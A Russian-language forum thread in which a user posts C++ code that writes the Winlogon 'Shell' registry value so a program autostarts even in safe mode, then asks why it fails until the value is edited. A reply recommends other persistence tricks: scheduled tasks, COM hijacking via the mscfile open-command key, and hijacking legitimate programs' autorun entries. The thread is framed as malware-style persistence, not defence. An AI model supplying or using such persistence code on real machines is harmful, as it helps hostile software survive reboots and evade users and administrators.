Загрузка...

Autoload in safe mode

Thread in C/C++ created by Podorozhnyk Apr 16, 2022. 237 views

  1. Podorozhnyk
    Podorozhnyk Topic starter Apr 16, 2022 0 Aug 18, 2020
    C
    bool WinlogonSet(wstring lpPath)
    {
    HKEY hKey = NULL;
    const TCHAR winlogonDir[MAX_PATH] = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\";
    TCHAR lpBuffer[MAX_PATH];

    wcscpy_s(lpBuffer, L"explorer.exe, ");
    wcscat_s(lpBuffer, lpPath.c_str());

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, winlogonDir, NULL, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
    return false;
    }
    if (RegSetValueEx(hKey, L"Shell", 0, REG_SZ, (PBYTE)lpBuffer, MAX_PATH) != ERROR_SUCCESS) {
    return false;
    }

    RegCloseKey(hKey);
    return true;
    }

    Этот код создает по пути запись, которая должна осуществлять автозапуск как в обычном режиме, так и в безопасном. Но при тесте возникла проблема. Запись создается, но после перезапуска программа не стартует. Но если изменить как-нибудь эту запись (например, добавить пробел в конце) и перезапустить систему, то после загрузки программа стартует и с этого момента будет включаться после каждого перезапуска. Чем это можно объяснить?
     
  2. Replacer
    Replacer Apr 17, 2022 ARTIFICIAL SUICIDE 99 Jul 21, 2021
    Объяснить можно изменением системного значения (т.е зарезервированного изначально), думаю, поэтому оно может так тупить. Пытался добавлять еще какие-либо символы или колдовать со значением? Если говорить по факту - необходимо подвергать это дебагу, смотреть, что выкидывает в случаях, что ты описал.
    Не пробовал реализавоть тот же COM Hijacking, к примеру?
     
    1. View previous comments (8)
    2. Replacer
      Podorozhnyk, тогда стоит посмотреть другие методы резистентности, думаю. Обрати внимание на scheduled tasks или тот же COM hijacking. Извини, что с этим не смог помочь
    3. Podorozhnyk Topic starter
      Replacer, да ничего, но не подскажешь, что за COM hijacking?
    4. Replacer
      Podorozhnyk, закрепление через абьюз COM-объектов в
      HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\open\command
      . Технически туда можно закинуть бинарь и он должен (по идее) сработать при старте системы (тут не имеет смысла учитывать, что инициализируется ранее).
      Была у меня еще идея тебе предложить абьюзить autorun, но с заменой легитимных PE. Т.е, допустим у нас есть Spotify, а мы меняем ключ загрузки на собственный бинарь, при этом сохраняя ключ и к Spotify. Вот тебе PoC для понимания к чему я веду.
Top
Loading...